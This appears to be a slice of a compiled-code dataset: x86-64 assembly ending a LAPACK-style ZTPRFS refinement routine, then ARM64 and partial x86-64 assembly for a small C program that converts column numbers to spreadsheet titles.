## %bb.257: ## in Loop: Header=BB0_248 Depth=2
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -808(%rbp) ## 8-byte Spill
jmp LBB0_259
LBB0_258: ## in Loop: Header=BB0_248 Depth=2
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -808(%rbp) ## 8-byte Spill
LBB0_259: ## in Loop: Header=BB0_248 Depth=2
movsd -808(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -208(%rbp)
jmp LBB0_270
LBB0_260: ## in Loop: Header=BB0_248 Depth=2
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_262
## %bb.261: ## in Loop: Header=BB0_248 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -816(%rbp) ## 8-byte Spill
jmp LBB0_263
LBB0_262: ## in Loop: Header=BB0_248 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -816(%rbp) ## 8-byte Spill
LBB0_263: ## in Loop: Header=BB0_248 Depth=2
movsd -816(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -824(%rbp) ## 8-byte Spill
movq 64(%rbp), %rdi
movslq -188(%rbp), %rax
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_265
## %bb.264: ## in Loop: Header=BB0_248 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -832(%rbp) ## 8-byte Spill
jmp LBB0_266
LBB0_265: ## in Loop: Header=BB0_248 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -832(%rbp) ## 8-byte Spill
LBB0_266: ## in Loop: Header=BB0_248 Depth=2
movsd -824(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -832(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
addsd -176(%rbp), %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
addsd -176(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -144(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd -144(%rbp), %xmm0
jb LBB0_268
## %bb.267: ## in Loop: Header=BB0_248 Depth=2
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -840(%rbp) ## 8-byte Spill
jmp LBB0_269
LBB0_268: ## in Loop: Header=BB0_248 Depth=2
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -840(%rbp) ## 8-byte Spill
LBB0_269: ## in Loop: Header=BB0_248 Depth=2
movsd -840(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -208(%rbp)
LBB0_270: ## in Loop: Header=BB0_248 Depth=2
jmp LBB0_271
LBB0_271: ## in Loop: Header=BB0_248 Depth=2
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_248
LBB0_272: ## in Loop: Header=BB0_43 Depth=1
movsd -208(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 56(%rbp), %rax
movslq -192(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_273: ## Parent Loop BB0_43 Depth=1
## => This Inner Loop Header: Depth=2
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_291
## %bb.274: ## in Loop: Header=BB0_273 Depth=2
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
ucomisd -184(%rbp), %xmm0
jbe LBB0_282
## %bb.275: ## in Loop: Header=BB0_273 Depth=2
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_277
## %bb.276: ## in Loop: Header=BB0_273 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -848(%rbp) ## 8-byte Spill
jmp LBB0_278
LBB0_277: ## in Loop: Header=BB0_273 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -848(%rbp) ## 8-byte Spill
LBB0_278: ## in Loop: Header=BB0_273 Depth=2
movsd -848(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -856(%rbp) ## 8-byte Spill
movq 64(%rbp), %rdi
movslq -188(%rbp), %rax
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_280
## %bb.279: ## in Loop: Header=BB0_273 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -864(%rbp) ## 8-byte Spill
jmp LBB0_281
LBB0_280: ## in Loop: Header=BB0_273 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -864(%rbp) ## 8-byte Spill
LBB0_281: ## in Loop: Header=BB0_273 Depth=2
movsd -856(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
movsd -864(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
addsd %xmm0, %xmm1
cvtsi2sdl -228(%rbp), %xmm0
mulsd -272(%rbp), %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
jmp LBB0_289
LBB0_282: ## in Loop: Header=BB0_273 Depth=2
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_284
## %bb.283: ## in Loop: Header=BB0_273 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -872(%rbp) ## 8-byte Spill
jmp LBB0_285
LBB0_284: ## in Loop: Header=BB0_273 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -872(%rbp) ## 8-byte Spill
LBB0_285: ## in Loop: Header=BB0_273 Depth=2
movsd -872(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -880(%rbp) ## 8-byte Spill
movq 64(%rbp), %rdi
movslq -188(%rbp), %rax
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_287
## %bb.286: ## in Loop: Header=BB0_273 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -888(%rbp) ## 8-byte Spill
jmp LBB0_288
LBB0_287: ## in Loop: Header=BB0_273 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -888(%rbp) ## 8-byte Spill
LBB0_288: ## in Loop: Header=BB0_273 Depth=2
movsd -880(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
movsd -888(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
addsd %xmm0, %xmm1
cvtsi2sdl -228(%rbp), %xmm0
mulsd -272(%rbp), %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
addsd -176(%rbp), %xmm0
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
LBB0_289: ## in Loop: Header=BB0_273 Depth=2
jmp LBB0_290
LBB0_290: ## in Loop: Header=BB0_273 Depth=2
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_273
LBB0_291: ## in Loop: Header=BB0_43 Depth=1
movl $0, -164(%rbp)
LBB0_292: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_295 Depth 3
## Child Loop BB0_300 Depth 3
movq -56(%rbp), %rdi
movq 64(%rbp), %rsi
movq -56(%rbp), %rax
movl (%rax), %eax
addl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rsi
movq 64(%rbp), %rdx
addq $16, %rdx
movq 48(%rbp), %rcx
movslq -192(%rbp), %rax
shlq $3, %rax
addq %rax, %rcx
leaq -20(%rbp), %r9
leaq -164(%rbp), %r8
callq _zlacn2_
cmpl $0, -164(%rbp)
je LBB0_305
## %bb.293: ## in Loop: Header=BB0_292 Depth=2
cmpl $1, -164(%rbp)
jne LBB0_299
## %bb.294: ## in Loop: Header=BB0_292 Depth=2
movq -32(%rbp), %rdi
leaq -246(%rbp), %rsi
movq -48(%rbp), %rdx
movq -56(%rbp), %rcx
movq -72(%rbp), %r8
addq $16, %r8
movq 64(%rbp), %r9
addq $16, %r9
leaq _c__1(%rip), %rax
movq %rax, (%rsp)
callq _ztpsv_
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_295: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_292 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_298
## %bb.296: ## in Loop: Header=BB0_295 Depth=3
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movl -188(%rbp), %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl %eax, -108(%rbp)
movq 72(%rbp), %rax
movslq -104(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
mulsd (%rax), %xmm0
movsd %xmm0, -160(%rbp)
movq 72(%rbp), %rax
movslq -104(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
mulsd 8(%rax), %xmm0
movsd %xmm0, -152(%rbp)
movsd -160(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, (%rax)
movsd -152(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, 8(%rax)
## %bb.297: ## in Loop: Header=BB0_295 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_295
LBB0_298: ## in Loop: Header=BB0_292 Depth=2
jmp LBB0_304
LBB0_299: ## in Loop: Header=BB0_292 Depth=2
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_300: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_292 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_303
## %bb.301: ## in Loop: Header=BB0_300 Depth=3
movl -188(%rbp), %eax
movl %eax, -100(%rbp)
movl -188(%rbp), %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl %eax, -108(%rbp)
movq 72(%rbp), %rax
movslq -104(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
mulsd (%rax), %xmm0
movsd %xmm0, -160(%rbp)
movq 72(%rbp), %rax
movslq -104(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
mulsd 8(%rax), %xmm0
movsd %xmm0, -152(%rbp)
movsd -160(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, (%rax)
movsd -152(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 64(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd %xmm0, 8(%rax)
## %bb.302: ## in Loop: Header=BB0_300 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_300
LBB0_303: ## in Loop: Header=BB0_292 Depth=2
movq -32(%rbp), %rdi
leaq -245(%rbp), %rsi
movq -48(%rbp), %rdx
movq -56(%rbp), %rcx
movq -72(%rbp), %r8
addq $16, %r8
movq 64(%rbp), %r9
addq $16, %r9
leaq _c__1(%rip), %rax
movq %rax, (%rsp)
callq _ztpsv_
LBB0_304: ## in Loop: Header=BB0_292 Depth=2
jmp LBB0_292
LBB0_305: ## in Loop: Header=BB0_43 Depth=1
xorps %xmm0, %xmm0
movsd %xmm0, -264(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -188(%rbp)
LBB0_306: ## Parent Loop BB0_43 Depth=1
## => This Inner Loop Header: Depth=2
movl -188(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_318
## %bb.307: ## in Loop: Header=BB0_306 Depth=2
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movsd -264(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_309
## %bb.308: ## in Loop: Header=BB0_306 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -896(%rbp) ## 8-byte Spill
jmp LBB0_310
LBB0_309: ## in Loop: Header=BB0_306 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -896(%rbp) ## 8-byte Spill
LBB0_310: ## in Loop: Header=BB0_306 Depth=2
movsd -896(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -904(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_312
## %bb.311: ## in Loop: Header=BB0_306 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -912(%rbp) ## 8-byte Spill
jmp LBB0_313
LBB0_312: ## in Loop: Header=BB0_306 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -912(%rbp) ## 8-byte Spill
LBB0_313: ## in Loop: Header=BB0_306 Depth=2
movsd -904(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -912(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -144(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd -144(%rbp), %xmm0
jb LBB0_315
## %bb.314: ## in Loop: Header=BB0_306 Depth=2
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -920(%rbp) ## 8-byte Spill
jmp LBB0_316
LBB0_315: ## in Loop: Header=BB0_306 Depth=2
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -920(%rbp) ## 8-byte Spill
LBB0_316: ## in Loop: Header=BB0_306 Depth=2
movsd -920(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -264(%rbp)
## %bb.317: ## in Loop: Header=BB0_306 Depth=2
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_306
LBB0_318: ## in Loop: Header=BB0_43 Depth=1
movsd -264(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB0_319
jp LBB0_319
jmp LBB0_320
LBB0_319: ## in Loop: Header=BB0_43 Depth=1
movsd -264(%rbp), %xmm1 ## xmm1 = mem[0],zero
movq 48(%rbp), %rax
movslq -192(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
divsd %xmm1, %xmm0
movsd %xmm0, (%rax,%rcx,8)
LBB0_320: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_321
LBB0_321: ## in Loop: Header=BB0_43 Depth=1
movl -192(%rbp), %eax
addl $1, %eax
movl %eax, -192(%rbp)
jmp LBB0_43
LBB0_322:
movl $0, -24(%rbp)
LBB0_323:
movl -24(%rbp), %eax
movl %eax, -924(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_325
## %bb.324:
movl -924(%rbp), %eax ## 4-byte Reload
addq $944, %rsp ## imm = 0x3B0
popq %rbp
retq
LBB0_325:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function Cd
_Cd: ## @Cd
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -24(%rbp)
movq -24(%rbp), %rax
movsd (%rax), %xmm1 ## xmm1 = mem[0],zero
movsd 8(%rax), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm3, %xmm3
movaps %xmm0, %xmm2
mulsd %xmm3, %xmm2
addsd %xmm2, %xmm1
movsd %xmm1, -16(%rbp)
movsd %xmm0, -8(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -8(%rbp), %xmm1 ## xmm1 = mem[0],zero
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "U"
L_.str.1: ## @.str.1
.asciz "N"
L_.str.2: ## @.str.2
.asciz "L"
L_.str.3: ## @.str.3
.asciz "T"
L_.str.4: ## @.str.4
.asciz "C"
L_.str.5: ## @.str.5
.asciz "ZTPRFS"
L_.str.6: ## @.str.6
.asciz "Epsilon"
L_.str.7: ## @.str.7
.asciz "Safe minimum"
.section __DATA,__data
.p2align 2 ## @c__1
_c__1:
.long 1 ## 0x1
.subsections_via_symbols
| the_stack_data/3263879.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _convertToTitle ; -- Begin function convertToTitle
.p2align 2
_convertToTitle: ; @convertToTitle
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-12]
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB0_15
LBB0_2:
ldur w8, [x29, #-12]
subs w8, w8, #26
cset w8, gt
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
mov x0, #2
bl _malloc
str x0, [sp, #24]
ldur w8, [x29, #-12]
add w8, w8, #65
subs w8, w8, #1
ldr x9, [sp, #24]
strb w8, [x9]
ldr x8, [sp, #24]
strb wzr, [x8, #1]
ldr x8, [sp, #24]
stur x8, [x29, #-8]
b LBB0_15
LBB0_4:
mov x0, #1
bl _malloc
str x0, [sp, #24]
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
str wzr, [sp, #20]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_10
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldur w8, [x29, #-12]
mov w9, #26
sdiv w10, w8, w9
mul w10, w10, w9
subs w8, w8, w10
str w8, [sp, #16]
ldur w8, [x29, #-12]
subs w8, w8, #1
sdiv w8, w8, w9
stur w8, [x29, #-12]
ldr x0, [sp, #24]
mov x1, #9
bl _realloc
str x0, [sp, #24]
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
mov x10, x9
add w10, w10, #1
str w10, [sp, #20]
add x9, x8, x9
mov w8, #90
strb w8, [x9]
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #16]
add w8, w8, #65
subs w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
mov x11, x10
add w11, w11, #1
str w11, [sp, #20]
strb w8, [x9, x10]
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_5 Depth=1
b LBB0_5
LBB0_10:
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9
strb wzr, [x8]
ldr x0, [sp, #24]
bl _strlen
mov x8, x0
str w8, [sp, #12]
str wzr, [sp, #16]
b LBB0_11
LBB0_11: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
ldr w9, [sp, #12]
mov w10, #2
sdiv w9, w9, w10
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #24]
ldr w9, [sp, #12]
subs w9, w9, #1
ldr w10, [sp, #16]
subs w9, w9, w10
ldrsb w8, [x8, w9, sxtw]
str w8, [sp, #20]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #24]
ldr w10, [sp, #12]
subs w10, w10, #1
ldr w11, [sp, #16]
subs w10, w10, w11
add x9, x9, w10, sxtw
strb w8, [x9]
ldr w8, [sp, #20]
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
strb w8, [x9, x10]
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_11 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_11
LBB0_14:
ldr x8, [sp, #24]
stur x8, [x29, #-8]
b LBB0_15
LBB0_15:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w0, #701
bl _convertToTitle
mov x8, x0
str x8, [sp, #16]
mov x8, sp
str x0, [x8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x0, [sp, #16]
bl _free
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _convertToTitle ## -- Begin function convertToTitle
.p2align 4, 0x90
_convertToTitle: ## @convertToTitle
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -12(%rbp)
cmpl $0, -12(%rbp)
jg LBB0_2
## %bb.1:
movq $0, -8(%rbp)
jmp LBB0_15
LBB0_2:
cmpl $26, -12(%rbp)
jg LBB0_4
## %bb.3:
movl $2, %edi
callq _malloc
movq %rax, -24(%rbp)
movl -12(%rbp), %eax
addl $65, %eax
subl $1, %eax
movb %al, %cl
movq -24(%rbp), %rax
movb %cl, (%rax)
movq -24(%rbp), %rax
movb $0, 1(%rax)
movq -24(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_15
LBB0_4:
movl $1, %edi
callq _malloc
movq %rax, -24(%rbp)
movq $0, -24(%rbp)
movl $0, -28(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
cmpl $0, -12(%rbp)
jle LBB0_10
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl -12(%rbp), %eax
movl $26, %ecx
cltd
idivl %ecx
movl %edx, -32(%rbp)
movl -12(%rbp), %eax
subl $1, %eax
movl $26, %ecx
cltd
idivl %ecx
movl %eax, -12(%rbp)
movq -24(%rbp), %rdi
movl $9, %esi
callq _realloc
movq %rax, -24(%rbp)
cmpl $0, -32(%rbp)
jne LBB0_8
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
movq -24(%rbp), %rax
movl -28(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -28(%rbp)
movslq %ecx, %rcx
movb $90, (%rax,%rcx)
jmp LBB0_9
LBB0_8: ## in Loop: Header=BB0_5 Depth=1
movl -32(%rbp), %eax
addl $65, %eax
subl $1, %eax
movb %al, %dl
movq -24(%rbp), %rax
movl -28(%rbp), %ecx
movl %ecx, %esi
addl $1, %esi
movl %esi, -28(%rbp)
movslq %ecx, %rcx
movb %dl, (%rax,%rcx)
LBB0_9: ## in Loop: Header=BB0_5 Depth=1
jmp LBB0_5
LBB0_10:
movq -24(%rbp), %rax
movslq -28(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -24(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -36(%rbp)
movl $0, -32(%rbp)
LBB0_11: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
movl %eax, -40(%rbp) ## 4-byte Spill
movl -36(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -40(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jge LBB0_14
